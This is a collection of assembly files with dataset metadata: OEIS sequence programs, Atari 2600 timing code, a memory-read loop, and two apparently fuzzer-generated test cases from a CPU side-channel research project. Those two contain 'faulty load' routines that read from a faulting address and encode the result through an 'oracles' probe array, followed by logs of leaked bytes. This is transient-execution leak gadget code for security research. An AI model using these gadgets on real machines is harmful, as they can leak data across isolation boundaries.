; Count (ecx) - Supplies the iteration count.
;
; Address (edx) - Supplies the source address.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall MemToReg, 2
MTR10: mov eax, [edx] ; repeat move 32 times in a loop
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
mov eax, [edx] ;
dec ecx ;
jnz MTR10 ;
fstRET MemToReg
fstENDP MemToReg
_TEXT ends
end
|
||||
TheStack | 239f3bf581b40b7548739c4f463e868fc80d98ee | Assemblycode:Assembly | {"size": 453, "ext": "asm", "max_stars_repo_path": "programs/oeis/229/A229763.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/229/A229763.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/229/A229763.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 64.7142857143, "max_line_length": 272, "alphanum_fraction": 0.6379690949} | ; A229763: a(n) = (2*n) XOR n AND n, where AND and XOR are bitwise logical operators.
; 0,1,2,1,4,5,2,1,8,9,10,9,4,5,2,1,16,17,18,17,20,21,18,17,8,9,10,9,4,5,2,1,32,33,34,33,36,37,34,33,40,41,42,41,36,37,34,33,16,17,18,17,20,21,18,17,8,9,10,9,4,5,2,1,64,65,66,65,68,69,66,65,72,73,74,73,68,69,66,65,80,81,82,81,84,85,82,81,72,73,74,73,68,69,66,65,32,33,34,33
mov $1,$0
seq $1,213370 ; a(n) = n AND 2*n, where AND is the bitwise AND operator.
sub $0,$1
|
||||
TheStack | 50b9837b3fe53adb03cf4324966d1d31f9ca823d | Assemblycode:Assembly | {"size": 639, "ext": "asm", "max_stars_repo_path": "src/logic.asm", "max_stars_repo_name": "rondnelson99/vcs-raycast", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/logic.asm", "max_issues_repo_name": "rondnelson99/vcs-raycast", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/logic.asm", "max_forks_repo_name": "rondnelson99/vcs-raycast", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.2702702703, "max_line_length": 69, "alphanum_fraction": 0.6901408451} | .include "defines.asm"
DoLogic:
; Enable VBLANK again
lda #2
sta VBLANK
; 30 lines of overscan
ldx #30
LVOver sta WSYNC
dex
bne LVOver
; Enable VBLANK (disable output)
lda #2
sta VBLANK
; At the beginning of the frame we set the VSYNC bit...
lda #2
sta VSYNC
; And hold it on for 3 scanlines...
sta WSYNC
sta WSYNC
sta WSYNC
; Now we turn VSYNC off.
lda #0
sta VSYNC
; Now we need 37 lines of VBLANK...
ldx #37
LVBlank sta WSYNC ; accessing WSYNC stops the CPU until next scanline
dex ; decrement X
bne LVBlank ; loop until X == 0
; Re-enable output (disable VBLANK)
lda #0
sta VBLANK
jmp DrawFrame |
||||
TheStack | 4f8e74e89a0eda1866bdf92b877ced91e97a05d2 | Assemblycode:Assembly | {"size": 1772, "ext": "asm", "max_stars_repo_path": "programs/oeis/214/A214945.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/214/A214945.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/214/A214945.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 24.9577464789, "max_line_length": 1098, "alphanum_fraction": 0.7658013544} | ; A214945: Number of squarefree words of length 6 in an (n+1)-ary alphabet.
; 0,42,696,4260,16680,50190,126672,281736,569520,1068210,1886280,3169452,5108376,7947030,11991840,17621520,25297632,35575866,49118040,66704820,89249160,117810462,153609456,198043800,252704400,319392450,400137192,497214396,613165560,750817830,913304640,1104087072,1326975936,1586154570,1886202360,2232118980,2629349352,3083809326,3601912080,4190595240,4857348720,5610243282,6457959816,7409819340,8475813720,9666637110,10993718112,12469252656,14106237600,15918505050,17920757400,20128603092,22558593096,25228258110,28156146480,31361862840,34866107472,38690716386,42858702120,47394295260,52322986680,57671570502,63468187776,69742370880,76525088640,83848792170,91747461432,100256652516,109413545640,119256993870,129827572560,141167629512,153321335856,166334737650,180255808200,195134501100,211022803992,227974793046,246046688160,265296908880,285786131040,307577344122,330735909336,355329618420,381428753160,409106145630,438437239152,469500149976,502375729680,537147628290,573902358120,612729358332,653721060216,696972953190,742583651520,790654961760,841291950912,894603015306,950699950200,1009698020100
mov $3,$0
lpb $0
sub $0,1
add $1,$0
lpe
mul $1,4
mov $4,$3
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $2,1
mov $4,$5
lpb $2
add $1,$4
sub $2,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $2,16
mov $4,$5
lpb $2
add $1,$4
sub $2,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $2,17
mov $4,$5
lpb $2
add $1,$4
sub $2,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $2,7
mov $4,$5
lpb $2
add $1,$4
sub $2,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $2,1
mov $4,$5
lpb $2
add $1,$4
sub $2,1
lpe
mov $0,$1
|
||||
TheStack | a8eb6116c32f65d68527bbbfe73c7956a1bb51cf | Assemblycode:Assembly | {"size": 5924, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1250.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1250.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1250.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 41.4265734266, "max_line_length": 2999, "alphanum_fraction": 0.6590141796} | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x4c49, %rsi
lea addresses_UC_ht+0x1cbfa, %rdi
nop
nop
add %rdx, %rdx
mov $58, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_UC_ht+0x1e949, %rbp
nop
nop
nop
nop
nop
sub %r15, %r15
movw $0x6162, (%rbp)
nop
nop
nop
nop
dec %rdx
lea addresses_UC_ht+0x12761, %rdx
dec %rbp
movb (%rdx), %cl
add %rdx, %rdx
lea addresses_WC_ht+0x5609, %rsi
lea addresses_A_ht+0x2689, %rdi
sub $32192, %r9
mov $56, %rcx
rep movsw
nop
dec %rdx
lea addresses_normal_ht+0x5c49, %rax
nop
nop
cmp $2866, %rsi
mov (%rax), %r15d
nop
nop
nop
nop
nop
cmp $636, %r9
lea addresses_UC_ht+0x1dc49, %r15
nop
and $35617, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
movups %xmm2, (%r15)
and $59920, %rbp
lea addresses_UC_ht+0xf5b5, %rbp
dec %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
movups %xmm4, (%rbp)
inc %r9
lea addresses_UC_ht+0x5cc3, %rdi
nop
nop
add $31952, %rsi
vmovups (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rax
nop
nop
nop
nop
nop
cmp $33607, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rdi
// Faulty Load
lea addresses_PSE+0x1f649, %r13
clflush (%r13)
nop
nop
nop
nop
nop
add $64916, %rax
movups (%r13), %xmm7
vpextrq $0, %xmm7, %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rdi
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
||||
TheStack | 102603572221179535f5031dba3bc9466a6895c9 | Assemblycode:Assembly | {"size": 7936, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_un_/i7-7700_9_0x48.log_21829_1078.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_un_/i7-7700_9_0x48.log_21829_1078.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_un_/i7-7700_9_0x48.log_21829_1078.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 35.7477477477, "max_line_length": 2999, "alphanum_fraction": 0.6533518145} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xbbe6, %rsi
lea addresses_WC_ht+0x5026, %rdi
and $63258, %r10
mov $105, %rcx
rep movsl
xor $31189, %r14
lea addresses_A_ht+0xfc26, %rsi
lea addresses_D_ht+0x11bfe, %rdi
nop
nop
nop
dec %rdx
mov $61, %rcx
rep movsb
sub $26030, %rdi
lea addresses_normal_ht+0x18d6c, %rsi
nop
nop
nop
nop
xor %rbx, %rbx
movups (%rsi), %xmm0
vpextrq $0, %xmm0, %r14
nop
nop
nop
nop
xor $60361, %rdi
lea addresses_WT_ht+0x17e6, %r10
nop
nop
nop
add %rbx, %rbx
movups (%r10), %xmm4
vpextrq $1, %xmm4, %rsi
nop
xor %rdi, %rdi
lea addresses_UC_ht+0x9c26, %r14
nop
nop
cmp %rcx, %rcx
movb (%r14), %bl
nop
nop
dec %rdi
lea addresses_D_ht+0x4a26, %rdx
nop
nop
nop
sub $43795, %r14
movl $0x61626364, (%rdx)
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x6826, %rdx
nop
nop
nop
nop
sub %rbx, %rbx
movl $0x61626364, (%rdx)
nop
nop
add %r14, %r14
lea addresses_WC_ht+0x11426, %rdx
nop
nop
and %r10, %r10
mov (%rdx), %r14w
nop
nop
nop
xor $55204, %r14
lea addresses_WC_ht+0x1c026, %rsi
nop
nop
nop
nop
nop
inc %rdi
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r14
nop
nop
nop
sub $44779, %r14
lea addresses_UC_ht+0x1b05a, %rsi
nop
nop
nop
nop
xor $3407, %r10
movb (%rsi), %cl
xor $39206, %r10
lea addresses_normal_ht+0x6226, %r10
add $19444, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r10)
nop
nop
nop
add $16946, %rdx
lea addresses_normal_ht+0x142a6, %rcx
nop
cmp $12626, %rdx
mov $0x6162636465666768, %r14
movq %r14, %xmm4
movups %xmm4, (%rcx)
nop
cmp $55441, %rcx
lea addresses_A_ht+0x189a6, %rbx
clflush (%rbx)
and %r14, %r14
movl $0x61626364, (%rbx)
nop
nop
inc %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
mov $0xc26, %rsi
lea addresses_A+0x10426, %rdi
nop
nop
sub $51438, %r9
mov $5, %rcx
rep movsb
nop
dec %rcx
// Load
lea addresses_D+0x15566, %r13
sub $18290, %r10
movb (%r13), %r9b
sub %rcx, %rcx
// Store
lea addresses_normal+0xd026, %rsi
cmp $20347, %r10
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rsi)
nop
nop
nop
nop
nop
sub $31470, %rsi
// Faulty Load
lea addresses_A+0xb426, %rcx
nop
xor $7489, %rax
mov (%rcx), %r9
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_P', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 10, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'b8': 1, '5f': 21813, '00': 15}
5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f
*/
|
||||
